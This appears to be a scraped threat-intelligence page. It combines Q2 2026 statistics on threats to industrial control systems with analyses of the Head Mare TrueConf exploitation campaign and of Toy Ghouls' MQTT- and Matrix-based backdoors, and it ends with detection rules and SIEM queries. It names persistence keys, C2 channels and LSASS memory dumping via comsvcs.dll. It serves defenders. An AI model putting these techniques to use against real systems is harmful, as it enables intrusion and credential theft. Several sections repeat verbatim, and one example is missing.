The percentage of ICS computers on which threats from network folders were blocked continued to decrease. In Q2 2026, it was the lowest for the period under review, at 0.023%.
The only region to see an increase in the percentage of ICS computers on which threats from network folders were blocked during the quarter was Africa. This was mainly due to an increase in the building automation figure to 0.05%.
Among the selected industries across all regions, the highest percentage of ICS computers on which threats from network folders were blocked was in biometrics (0.23%), building automation (0.17%), and engineering and ICS integration (0.13%) in East Asia.
In July 2026, Kaspersky experts detected a new attack by the Head Mare group. Previously, we classified them as hacktivists, but now we define them as an APT group due to the sophistication of their TTPs and the absence of destructive activity (encryption, wiping) in the targeted infrastructures. In this latest campaign, the attackers exploited a chain of vulnerabilities in the TrueConf video conferencing server and replaced the original TrueConf client installers with infected versions that installed the PhantomCore malware on the system.
An investigation of the compromised server revealed that the attackers used a combination of two new vulnerabilities (assigned the internal identifiers KLCERT-26-057 and KLCERT-26-058), allowing them to execute arbitrary code with the highest privileges.
The attack occurs in several stages:
The attackers connect to the TrueConf server without prior authorization via port 4307/TCP, which, according to the product documentation, is open by default. The attack targets TrueConf servers running versions 5.3.X through 5.3.9, 5.4.X through 5.4.9, and 5.5.X through 5.5.5.
Once connected, attackers call a server function to transmit a malicious script and execute it on the server. The vulnerability that allows this stage of the attack to be carried out has been assigned the internal identifier KLCERT-26-057.
The received script runs on the TrueConf server in an isolated environment. By default, operating system functions are not accessible in this environment, which should limit the capabilities of the executed code.
To escape the isolated environment, attackers exploit a second vulnerability, assigned the internal identifier KLCERT-26-058. Exploiting this vulnerability allows them to bypass the restrictions of the isolated environment and proceed to execute commands in the context of the operating system.
Once the environment’s restrictions are bypassed, attackers gain the ability to execute arbitrary code on the server with the privileges of the NT AUTHORITY\SYSTEM account.
Once they have gained elevated privileges, attackers replace the file …\public\js\locale.php with a web shell, which can be used for subsequent remote control of the compromised server.
This web shell was used for the following activities:
collecting data on the IT infrastructure;
gaining privileged access to the TrueConf database;
replacing the original TrueConf Client distribution with an infected version containing the PhantomCore backdoor.
The vulnerabilities exploited by the attackers were patched by the vendor in the latest TrueConf Server updates (versions 5.3.9, 5.4.9, and 5.5.5). These updates were released on June 18, 2026.
The PhantomCore backdoor was successfully detected by Kaspersky solutions.
To automatically launch the malware after the system boots, a registry key is created: HKEY_CURRENT_USER\Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}\InprocServer32, with the value set to the path to the malicious program’s file.
Using a web shell, in addition to PhantomCore, the attackers load a backdoor that we have named PhantomGraph, consisting of two modules:
SysExcSvc.dll is responsible for receiving commands from the attackers and transmitting the results of their execution. The attackers used an account on Microsoft OneDrive cloud storage as their command-and-control (C2) server.
SysReadSvc.dll reads the command transmitted by the first module, executes it, and saves the execution result.
To establish persistence on the system, the attackers execute a Base64-encoded PowerShell command that installs SysExcSvc.dll and SysReadSvc.dll as Windows services. We believe the attackers deliberately split this malicious command into two components to make it harder to detect using EDR tools. Additionally, the program’s code partially matches that of PhantomCore, indicating that it belongs to Head Mare’s arsenal.
We also managed to identify the commands executed by the attackers when connecting to the backdoor. The SysReadSvc module executes commands using a BATCH file. Example of execution:
In addition, we discovered several commands that did not work due to the attackers’ typos and encoding issues.
We are observing several active Head Mare campaigns targeting Russian organizations across various industries: instrument manufacturing, electronics, transportation, energy,
IT, and software development. The attackers distribute their backdoors using various methods, including phishing, exploiting public web servers, or through a subcontractor.
We recommend that all organizations using TrueConf software install the latest server version (versions 5.3.9, 5.4.9, and 5.5.5) in accordance with the vendor’s recommendations.
We also recommend verifying that the client distributions downloaded from the TrueConf server used by your organization have a valid TrueConf digital signature and have not been tampered with. The malicious distributions we detected did not have a valid digital signature. You can also verify authenticity on the vendor’s website.
Important: Even if your organization does not use a TrueConf server, your employees may connect to compromised TrueConf servers belonging to business partners to participate in online meetings and download infected installation packages.
Specifically, activity involving the replacement of the legitimate file …\public\js\locale.php with a web shell, as well as the deletion of entries from TrueConf event logs, is detected by the rule unusual_php_file_creation_from_trueconf_process.
Downloading a file containing the PhantomCore backdoor via the replaced legitimate file …\public\js\locale.php is detected by KEDR Expert with the rule unusual_file_creation_from_trueconf.
Activity related to the installation of an infected TrueConf client installer containing the PhantomCore backdoor is detected by KEDR Expert using the unsigned_trueconf_installer rule.
Creation of suspicious files by TrueConf Server processes.
Execution of a TrueConf Client installer file that lacks a software developer’s signature.
Suspicious process chains associated with TrueConf Client executables and TrueConf Client update executables.
Registration of suspicious libraries in the HKEY_CURRENT_USER\Software\Classes\CLSID\ registry key.
Actions related to retrieving information about the lsass.exe process.
Memory dump creation for the lsass.exe process using the comsvcs.dll library.
Accessing the memory of the lsass.exe process.
Creating tunnels using the ssh process.
To protect companies using our Kaspersky SIEM system, a general set of rules is available in the product repository that allows detection of the following techniques:
Creation of suspicious files in the C:\Windows\System32\inetsrv\* directory: R405_07_File write to IIS native modules folder or OWA via WriteData.
Creating a memory dump of the lsass.exe process using the comsvcs.dll library: R233_04_Process memory dump via comsvcs.dll.
Accessing the memory of the lsass.exe process: R262_Suspicious access to the LSASS process.
We also recommend paying attention to the following events when developing your own detection rules or conducting threat hunting:
Registration of suspicious libraries in the registry key \Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}\InprocServer32:
(DeviceEventClassID = '4657' OR DeviceEventClassID = '13')
AND FileName like '%\Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}%' AND DeviceCustomString6 = 'InprocServer32'
Creating the SysExcSvc and SysReadSvc services to run executables from temporary directories in the background via cmd:
DeviceEventClassID = '4697'
AND (DestinationServiceName = 'SysExcSvc' OR DestinationServiceName = 'SysReadSvc')
AND match (FileName, '.*cmd\s+\/c.*temp\\cmd_cmd_.*\.bat.*')
Creation of suspicious processes originating from the TrueConf update process (trueconf_windows_update.exe)
(DeviceEventClassID = '4688' OR DeviceEventClassID = '1')
AND SourceProcessName LIKE '%\trueconf_windows_update.exe'
For the detection rules to work correctly, ensure that events from Windows systems are received in full, including Security events 4688, 4663, 4657, and 4697 and Sysmon events 1, 7, 11, and 13.
We continue tracking the activity of Toy Ghouls (also known as Bearlyfy, Laboo.boo, and Feral Wolf), a financially motivated group that has been targeting Russian organizations since 2025. The attackers initially relied exclusively on tools pulled from public GitHub repositories along with leaked Babuk and LockBit ransomware builders, later shifting to their own custom ransomware, GenieLocker. In early July 2026, we observed the group using a custom backdoor for the first time.
We identified two versions of this backdoor: one uses the HiveMQ MQTT broker as its C2 server, while the other relies on the Element messenger. Both versions include “bird” in their names:
mqtt-bird-agent 0.1.0 (HiveMQ version)
matrix-bird-agent 0.1.0 (Element version)
This post examines how the backdoor is delivered to target systems, how it establishes persistence, and how it communicates with its C2 server.
Technical details
Delivery
In this campaign, the attackers use Windows Remote Management (WinRM) to deliver the backdoors and their configuration files to compromised systems. The group relies on open-source tools such as Evil-WinRM and WinRM-fs to do this.
Installation
The backdoor can both run within an interactive command-line session and establish persistence as a Windows service, using the --install or install option, depending on the backdoor version. The --service (or service) option is not available by default and is instead used as an argument for the installed Windows service.
Other launch options are listed in the backdoor’s help output:
C:\cplsupport.exe -h
Bird Agent - MQTT server monitor
Usage: cplsupport.exe [OPTIONS]
Options:
-c, --config <CONFIG> Path to config.toml config file
--install Install as a system service
--uninstall Uninstall the system service
--seal Encrypt sensitive config fields in-place using a machine-bound key
-h, --help Print help
-V, --version Print version
HiveMQ version backdoor help output
In the Element version, the backdoor help output looks as follows:
C:\wtass.exe -h
Matrix monitoring agent
Usage: wtass.exe [OPTIONS] [COMMAND]
Commands:
install Register this agent with the Matrix homeserver and panel
uninstall Remove this agent's service and credentials
service Run as a Windows service (internal)
help Print this message or the help of the given subcommand(s)
Options:
-c, --config <CONFIG>
-h, --help Print help
-V, --version Print version
Element version backdoor help output
By default, the backdoor looks for a config.toml configuration file in the directory where the executable was launched, then falls back to %PROGRAMDATA%\SynapseAgent\config.toml (Element version) or %PROGRAMDATA%\cplsupport\config.toml (HiveMQ version). If no configuration file is found in either location, the full path can be specified using the -c (--config) option.
The backdoor accepts both unencrypted configuration files and files with partially encrypted sections. In the first case, once the backdoor is launched, it reads the file and partially encrypts it using the seal() function (the --seal option in the HiveMQ version), applying the ChaCha20-Poly1305 algorithm with a key derived from the value of the HKLM\Software\Microsoft\Cryptography\MachineGuid registry key. This means that after the backdoor’s first run, the configuration file becomes bound to that specific machine. On subsequent runs, the configuration is decrypted automatically. If the input configuration was already partially encrypted, it is likewise decrypted automatically.
If the configuration cannot be decrypted, the backdoor stops running.
Encrypted configuration files look as follows:
Encrypted backdoor configuration file, HiveMQ version
The encrypted portion of the HiveMQ version’s configuration contains the following parameters:
agent_privkey: the agent’s private key
channel_id: the channel identifier used to communicate with the broker
server_pubkey: the server’s public key
Decrypted blob field in the HiveMQ version’s configuration
In the Element version, the configuration file is deleted immediately after the first run, and the relevant parameters are instead written to the HKLM\Software\synapse\Config\SealedConfig registry key. On subsequent runs, the backdoor checks the registry for its configuration first.
Decrypted Element version configuration file, retrieved from the registry
The Element version’s configuration specifies the address of an Element server controlled by the attackers, a room identifier, and an access_token used to access that room. If this parameter is left empty, the backdoor prompts for the password interactively during installation. After successfully creating a session, the backdoor saves the received token to the blob field.
Communication
At startup, both backdoor versions send a GET request to http://ip-api.com/json to determine the system’s public IP address and country of origin.
The first version uses the public HiveMQ MQTT broker (broker.hivemq.com) as its C2 server. The free tier of this broker supports up to 100 concurrent connections and up to 10 GB of traffic per month. The attackers set up their own cluster and used it both to collect telemetry from compromised systems and to send commands to the backdoor.
Once a connection is established, the system’s status is sent via a POST request to
broker.hivemq.com:8883/[cluster_id]/status. The message format is:
{"online":bool,"hostname":"hostname.domain","timestamp":unix_timestamp,"location":{"json"}}.
At intervals defined in the configuration file, system information, such as CPU load and available memory, is sent via a POST request to
broker.hivemq.com:8883/[cluster_id]/metrics3. The message format is:
{cpu_percent":float,"mem_used_bytes":int,"mem_total_bytes":int,"disk_used_bytes":int,"disk_total_bytes":int,"load_1m":float,"load_5m":float,"load_15m":float,"uptime_secs":int,"hostname":"hostname.domain","timestamp":unix_timestamp}.
The backdoor sends GET requests to
broker.hivemq.com:8883/[cluster_id]/cmd/req to retrieve commands from the C2 server. The server responds in the format:
{"cmd_id":int,"command":"str","timeout_secs":int}.
Commands are executed via PowerShell.exe in hidden mode, using the -NonInteractive -NoProfile -Command parameters.
Command execution results are sent to the command server at
broker.hivemq.com:8883/[cluster_id]/cmd/res in the
{"stdout":"str","stderr":"str","exit_code":int,"duration_ms":int} format.
For the second backdoor version, the attackers set up their own Element server running on the Matrix protocol, meet.element[.]tw, as the C2 server. On this server, they created a room used to receive messages containing device information and to send commands for execution on the compromised system. The communication flow is as follows:
Once a connection is successfully established, the backdoor sends an m.bird.status message containing the system’s status. This message format is identical to that used in the HiveMQ version.
At intervals defined in the configuration file, information about the compromised system is sent as an m.bird.metrics message. Field names are slightly different from those in the first version:
{cpu_percent_x100":float,"mem_used_bytes":int,"mem_total_bytes":int,"disk_used_bytes":int,"disk_total_bytes":int,"load_1m_x100":float,"load_5m_x100":float,"load_15m_x100":float,"uptime_secs":int,"hostname":"hostname.domain","timestamp":unix_timestamp}.
This version of the backdoor supports two types of commands, distinguished by the start of the received message.
To set a new interval for sending metrics, the attackers send a message beginning with config:set_interval (accepting values from 5 to 3600 seconds). The new value is saved to the HKLM\Software\SynapseAgent\metrics_interval registry key.
Messages containing commands to execute begin with the string cmd:. Based on data extracted from Element’s SQLite databases on the compromised system, we were able to identify the account name the attackers used to send commands: panel-bot.
Received commands are executed via the Windows command line interface.
Command output is sent as an m.bird.cmd_response message. This message format mirrors the one used in the HiveMQ version.
Takeaways
We have been tracking Toy Ghouls’ activity for quite some time. We previously found that the group had expanded its arsenal with a custom ransomware strain, GenieLocker, and we have now discovered that it has also developed a backdoor capable of giving it full control over an infected device. The new tools use unconventional channels to communicate with their C2 server: the HiveMQ MQTT broker and the Matrix-based Element messenger. This shift away from publicly available open-source projects toward custom-built tools suggests that Toy Ghouls is working to make its attacks more sophisticated and to evade detection for longer.
In Q2 2026, the percentage of ICS computers on which malicious objects were blocked continued to decrease, falling to 19.15%, its lowest level since 2022.
Percentage of ICS computers on which malicious objects were blocked, Q3 2023–Q2 2026
Regionally, the percentages ranged from 8.1% in Northern Europe to 27.9% in Africa.
Regions ranked by percentage of attacked ICS computers
The figures increased in five regions over the quarter, most notably in East Asia (by 2.0 pp) and Africa (by 0.5 pp).
East Asia saw increases in percentages for all threats except miners. The region ranked first in terms of growth for malicious scripts and phishing pages, spyware, and viruses. East Asia also led in terms of growth in threats from the internet. The percentage of ICS computers on which email threats were blocked also increased.
Selected industries
The biometrics sector (26.44%) has traditionally led the rankings of industries and OT infrastructures surveyed in this report in terms of the percentage of ICS computers on which malicious objects were blocked. Biometric systems are characterized by the availability of internet access, extensive email use for data exchange and approvals (e.g. access granting), and, in many cases, minimal cybersecurity controls within the organizations that use them.
Industries ranked by percentage of ICS computers on which malicious objects were blocked
The biometrics sector ranked first among industries in terms of the following threat categories: malicious scripts and phishing pages, malicious documents, spyware, ransomware, and worms. The sector is also leading among industries in terms of email threats. At the same time, unlike other industries, the percentage of affected ICS computers for email threats in biometrics exceeds that for internet threats.
In all selected industries, the global average follows a downward trend.
Threat categories
In Q2 2026, Kaspersky security solutions blocked malware from 10,904 different malware families of various categories on industrial automation systems.
Over the quarter, the percentage of ICS computers on which malicious objects of the following categories were blocked increased: denylisted internet resources, malicious documents, worms, ransomware, and malware for AutoCAD.
Percentage of ICS computers on which the activity of malicious objects from various categories was blocked
Malicious scripts and phishing pages (JS and HTML)
Malicious scripts and phishing pages remained in first place in the threat category rankings based on the percentage of ICS computers on which the respective threats were blocked. In Q2 2026, the global average dropped to 5.42%.
Over the quarter, the figure for this category only increased in East Asia, rising by 0.93 pp to 4.86%. This is the second-highest figure in the region in the last three years.
In East Asia, the percentage of ICS computers affected by malicious scripts and phishing pages increased in all the industries surveyed, except construction. The highest figures were recorded for biometrics (9.01%) and building automation (6.49%).
Denylisted internet resources
In Q2 2026, denylisted internet resources rose in the threat category rankings from third to second place, displacing spyware. Globally, the percentage of ICS computers on which denylisted internet resources were blocked has been increasing for two quarters in row and reached 4.31%.
The figures increased in all regions over the quarter, most notably in Russia (by 1.33 pp). Moreover, Russia ranked first (5.17%) among the regions in terms of denylisted internet resources. Since 2022, the region has topped these rankings twice before, both times in Q2: in 2022 and 2024.
Among the selected industries in Russia, the highest figures for the denylisted internet resources were in the electric power (6.61%) and engineering and ICS integration (5.62%) industries.
Malicious documents (MSOffice + PDF)
Malicious documents ranked fourth in the threat category rankings by the percentage of ICS computers on which they were blocked. The percentage for this category decreased over the previous three quarters, reaching its lowest level in three years. However, in Q2 2026, it increased to 1.77%.
Over the quarter, the figures for malicious documents increased in seven regions, most notably in South America (by 1.35 pp) and Southern Europe (by 0.48 pp). These two regions are among the top three in terms of malicious documents, malicious scripts and phishing pages, as well as threats from email clients.
South America ranked second in the rankings of regions in terms of malicious documents. In Q2 2026, the percentage of ICS computers in the region on which this threat was blocked was 3.56%, which was the fourth highest in three years.
Among the selected industries in South America, the highest percentage of ICS computers on which malicious documents were blocked was in biometrics (6.67%).
Southern Europe ranked first in the rankings of regions in terms of malicious documents. In the previous quarter, the percentage of ICS computers in the region on which this threat was blocked was the lowest in three years, but in Q2 2026 it increased to 3.63%.
Among the selected industries in Southern Europe, the highest percentage of ICS computers on which malicious documents were blocked was once again in biometrics (11.48%).
Spyware
Spyware ranked third in the threat category rankings based on the percentage of ICS computers on which it was blocked. The percentage for this category (3.30%) is the lowest since 2022.
Over the quarter, the figures increased in three regions, most notably in East Asia (by 0.53 pp) and Southeast Asia (by 0.42 pp).
East Asia ranked third based on the figures for spyware (4.77%), behind Africa and Southeast Asia. This is the region’s highest rate since Q2 2025. Among the countries and territories in the region, the highest percentage of ICS computers on which spyware was blocked was in mainland China (6.61%). Among the selected industries in East Asia, the highest figures for spyware were in the electric power (11.75%) and manufacturing (5.87%) industries. In all the industries surveyed, the figures are higher than the regional average.
Southeast Asia ranked second after Africa in the ranking of regions in terms of spyware, with 5.32%. Among the selected industries in Southeast Asia, the highest figures for spyware were in biometrics (8.93%) and manufacturing (7.32%). The figures increased in all industries over the quarter.
Ransomware
The percentage of ICS computers on which ransomware was blocked decreased in the previous three quarters but increased to 0.16% in Q2 2026.
During the quarter, the percentage increased in all regions, except Western and Southern Europe and North America (Canada). Africa led the ranking in terms of growth for this metric.
In Q2 2026, Africa ranked first among the regions in terms of the percentage of ICS computers on which ransomware was blocked (0.29%). The only time the figure in the region was higher in the past three years was Q2 2025 (0.31%).
Among the selected industries in Africa, the highest figures for ransomware were in the electric power industry (0.72%) and biometrics (0.52%). Over the quarter, the figures increased in all industries, except manufacturing and construction. The biggest increase was recorded in the electric power industry.
In Russia, the percentage of ICS computers on which ransomware was blocked in biometric systems has increased for three consecutive quarters, reaching 1.22%. This is the highest level of ransomware across all industries in all regions.
Miners
In Q2 2026, the percentage of ICS computers on which miners were blocked was the lowest since 2021, for both miners in the form of executable files for Windows (0.48%) and web miners running in browsers (0.14%).
The figures for both categories decreased in all regions, except for Africa where figures for miners in the form of executable files for Windows increased slightly.
On average, the oil and gas industry led the rankings among the selected industries both in terms of miners in the form of executable files for the Windows OS (0.66%) and in terms of web miners (0.34%).
Worms
In Q2 2026, the percentage of ICS computers on which worms were blocked increased to 1.43%.
In Q2 2026, the Middle East (2.11%) was second (after Africa) in the rankings of regions in terms of worms, displacing Central Asia and the South Caucasus.
Among the selected industries in the Middle East, the highest percentage of ICS computers on which worms were blocked was in building automation (2.90%). Over the quarter, the figures increased in all industries.
Australia and New Zealand ranked 12th among the regions in terms of the percentage of ICS computers on which worms were blocked (0.41%). Over the past three years, the figure in this region was only higher in Q2 2024 (0.42%). The figures increased in all the surveyed industries in the region, most notably in manufacturing and electric power. As a result, for these industries they exceeded the regional average by 2.9 and 2.3 times, respectively.
Viruses
In Q2 2026, the percentage of ICS computers on which viruses were blocked decreased to 1.29%.
The top three regions for this metric remain unchanged: Southeast Asia (6.03%), Africa (4.22%), and East Asia (3.14%). These same regions lead the rankings in terms of malware for AutoCAD.
The figures increased in three regions: East Asia, Australia and New Zealand, and Africa, where it has been growing for four consecutive quarters and reached its highest value since 2022.
Among the selected industries in Africa, the highest percentage of ICS computers on which viruses were blocked was in construction (5.47%).
East Asia ranked third among the regions in terms of viruses, reaching the highest level in the region for the past three years. Among the countries and administrative regions of East Asia, mainland China is the clear leader in terms of viruses (5.07%).
Among the selected industries in East Asia, the highest percentage of ICS computers on which viruses were blocked was in construction (5.93%).
In Australia and New Zealand, the increase in the percentage of ICS computers on which viruses were blocked was primarily due to a 4.3-fold increase in the figure for the electric power industry: from 0.29% to 1.24%. For a region where the percentage of attacked ICS computers for all threats is 0.12%, this is a very high value.
Malware for AutoCAD
In Q2 2026, the percentage of ICS computers on which malware for AutoCAD was blocked increased to 0.31%.
The most notable increase over the quarter was observed in Africa. After more than doubling in the previous quarter, the figure for the region continued to rise (although not so dramatically), reaching 1.02%.
Among the selected industries across all regions, the highest percentage of ICS computers on which malware for AutoCAD was blocked was in construction in East Asia (6.38%) and in Southeast Asia (4.05%).
Main threat sources
In Q2 2026, of all the threat sources, the percentage increased only for email.
Percentage of ICS computers on which malicious objects from various sources were blocked
Internet
The percentage of ICS computers on which threats from the internet were blocked decreased to 7.61%, reaching its lowest level since 2021.
Over the quarter, the percentage increased in three regions: East Asia by 0.8 pp (to 6.3%), South Asia by 0.3 pp (to 10.4%), and Russia by 0.3 pp (to 6.4%).
Among the selected industries across all regions, the highest percentage of ICS computers on which threats from the internet were blocked was in biometrics (13.03%) and engineering and ICS integration (12.16%) in South Asia.
Email
The percentage of ICS computers on which email threats were blocked increased to 2.84%.
In Q2 2026, the percentage of ICS computers on which email threats were blocked increased in South America by 1.0 pp (to 5.2%) and in Africa by 0.7 pp (to 4.3%).
Among the selected industries across all regions, the highest percentage of ICS computers on which email threats were blocked was in biometrics (19.14%) and building automation (12.49%) in Southern Europe.
Removable media
The percentage of ICS computers on which threats from removable media were blocked continued to decrease, reaching 0.24%, the lowest value for the period under review.
Among the selected industries across all regions, the highest percentage of ICS computers on which threats from removable media were blocked was in the electric power industry in East Asia (1.34%) and biometrics in Africa (1.29%).
Network folders
The percentage of ICS computers on which threats from network folders were blocked continued to decrease. In Q2 2026, it was the lowest for the period under review, at 0.023%.
The only region to see an increase in the percentage of ICS computers on which threats from network folders were blocked during the quarter was Africa. This was mainly due to an increase in the building automation figure to 0.05%.
Among the selected industries across all regions, the highest percentage of ICS computers on which threats from network folders were blocked was in biometrics (0.23%), building automation (0.17%), and engineering and ICS integration (0.13%) in East Asia.
In July 2026, Kaspersky experts detected a new attack by the Head Mare group. Previously, we classified them as hacktivists, but now we define them as an APT group due to the sophistication of their TTPs and the absence of destructive activity (encryption, wiping) in the targeted infrastructures. In this latest campaign, the attackers exploited a chain of vulnerabilities in the TrueConf video conferencing server and replaced the original TrueConf client installers with infected versions that installed the PhantomCore malware on the system.
An investigation of the compromised server revealed that the attackers used a combination of two new vulnerabilities (assigned the internal identifiers KLCERT-26-057 and KLCERT-26-058), allowing them to execute arbitrary code with the highest privileges.
The attack occurs in several stages:
The attackers connect to the TrueConf server without prior authorization via port 4307/TCP, which, according to the product documentation, is open by default. The attack targets TrueConf servers running versions 5.3.X through 5.3.9, 5.4.X through 5.4.9, and 5.5.X through 5.5.5.
Once connected, attackers call a server function to transmit a malicious script and execute it on the server. The vulnerability that allows this stage of the attack to be carried out has been assigned the internal identifier KLCERT-26-057.
The received script runs on the TrueConf server in an isolated environment. By default, operating system functions are not accessible in this environment, which should limit the capabilities of the executed code.
To escape the isolated environment, attackers exploit a second vulnerability, assigned the internal identifier KLCERT-26-058. Exploiting this vulnerability allows them to bypass the restrictions of the isolated environment and proceed to execute commands in the context of the operating system.
Once the environment’s restrictions are bypassed, attackers gain the ability to execute arbitrary code on the server with the privileges of the NT AUTHORITY\SYSTEM account.
Once they have gained elevated privileges, attackers replace the file …\public\js\locale.php with a web shell, which can be used for subsequent remote control of the compromised server.
This web shell was used for the following activities:
collecting data on the IT infrastructure;
gaining privileged access to the TrueConf database;
replacing the original TrueConf Client distribution with an infected version containing the PhantomCore backdoor.
The vulnerabilities exploited by the attackers were patched by the vendor in the latest TrueConf Server updates (versions 5.3.9, 5.4.9, and 5.5.5). These updates were released on June 18, 2026.
The PhantomCore backdoor was successfully detected by Kaspersky solutions.
To automatically launch the malware after the system boots, a registry key is created: HKEY_CURRENT_USER\Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}\InprocServer32, with the value set to the path to the malicious program’s file.
Using a web shell, in addition to PhantomCore, the attackers load a backdoor that we have named PhantomGraph, consisting of two modules:
SysExcSvc.dll is responsible for receiving commands from the attackers and transmitting the results of their execution. The attackers used an account on Microsoft OneDrive cloud storage as their command-and-control (C2) server.
SysReadSvc.dll reads the command transmitted by the first module, executes it, and saves the execution result.
To establish persistence on the system, the attackers execute a Base64-encoded PowerShell command that installs SysExcSvc.dll and SysReadSvc.dll as Windows services. We believe the attackers deliberately split this malicious command into two components to make it harder to detect using EDR tools. Additionally, the program’s code partially matches that of PhantomCore, indicating that it belongs to Head Mare’s arsenal.
We also managed to identify the commands executed by the attackers when connecting to the backdoor. The SysReadSvc module executes commands using a BATCH file. Example of execution:
In addition, we discovered several commands that did not work due to the attackers’ typos and encoding issues.
We are observing several active Head Mare campaigns targeting Russian organizations across various industries: instrument manufacturing, electronics, transportation, energy,
IT, and software development. The attackers distribute their backdoors using various methods, including phishing, exploiting public web servers, or through a subcontractor.
We recommend that all organizations using TrueConf software install the latest server version (versions 5.3.9, 5.4.9, and 5.5.5) in accordance with the vendor’s recommendations.
We also recommend verifying that the client distributions downloaded from the TrueConf server used by your organization have a valid TrueConf digital signature and have not been tampered with. The malicious distributions we detected did not have a valid digital signature. You can also verify authenticity on the vendor’s website.
Important: Even if your organization does not use a TrueConf server, your employees may connect to compromised TrueConf servers belonging to business partners to participate in online meetings and download infected installation packages.
Specifically, activity involving the replacement of the legitimate file …\public\js\locale.php with a web shell, as well as the deletion of entries from TrueConf event logs, is detected by the rule unusual_php_file_creation_from_trueconf_process.
Downloading a file containing the PhantomCore backdoor via the replaced legitimate file …\public\js\locale.php is detected by KEDR Expert with the rule unusual_file_creation_from_trueconf.
Activity related to the installation of an infected TrueConf client installer containing the PhantomCore backdoor is detected by KEDR Expert using the unsigned_trueconf_installer rule.
Creation of suspicious files by TrueConf Server processes.
Execution of a TrueConf Client installer file that lacks a software developer’s signature.
Suspicious process chains associated with TrueConf Client executables and TrueConf Client update executables.
Registration of suspicious libraries in the HKEY_CURRENT_USER\Software\Classes\CLSID\ registry key.
Actions related to retrieving information about the lsass.exe process.
Memory dump creation for the lsass.exe process using the comsvcs.dll library.
Accessing the memory of the lsass.exe process.
Creating tunnels using the ssh process.
To protect companies using our Kaspersky SIEM system, a general set of rules is available in the product repository that allows detection of the following techniques:
Creation of suspicious files in the C:\Windows\System32\inetsrv\* directory: R405_07_File write to IIS native modules folder or OWA via WriteData.
Creating a memory dump of the lsass.exe process using the comsvcs.dll library: R233_04_Process memory dump via comsvcs.dll.
Accessing the memory of the lsass.exe process: R262_Suspicious access to the LSASS process.
We also recommend paying attention to the following events when developing your own detection rules or conducting threat hunting:
Registration of suspicious libraries in the registry key \Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}\InprocServer32:
(DeviceEventClassID = '4657' OR DeviceEventClassID = '13')
AND FileName like '%\Software\Classes\CLSID\{0340F119-A598-4ed9-B0AC-6F6A12D3E755}%' AND DeviceCustomString6 = 'InprocServer32'
Creating the SysExcSvc and SysReadSvc services to run executables from temporary directories in the background via cmd:
DeviceEventClassID = '4697'
AND (DestinationServiceName = 'SysExcSvc' OR DestinationServiceName = 'SysReadSvc')
AND match (FileName, '.*cmd\s+\/c.*temp\\cmd_cmd_.*\.bat.*')
Creation of suspicious processes originating from the TrueConf update process (trueconf_windows_update.exe)
(DeviceEventClassID = '4688' OR DeviceEventClassID = '1')
AND SourceProcessName LIKE '%\trueconf_windows_update.exe'
For the detection rules to work correctly, ensure that events from Windows systems are received in full, including Security events 4688, 4663, 4657, and 4697 and Sysmon events 1, 7, 11, and 13.
Login
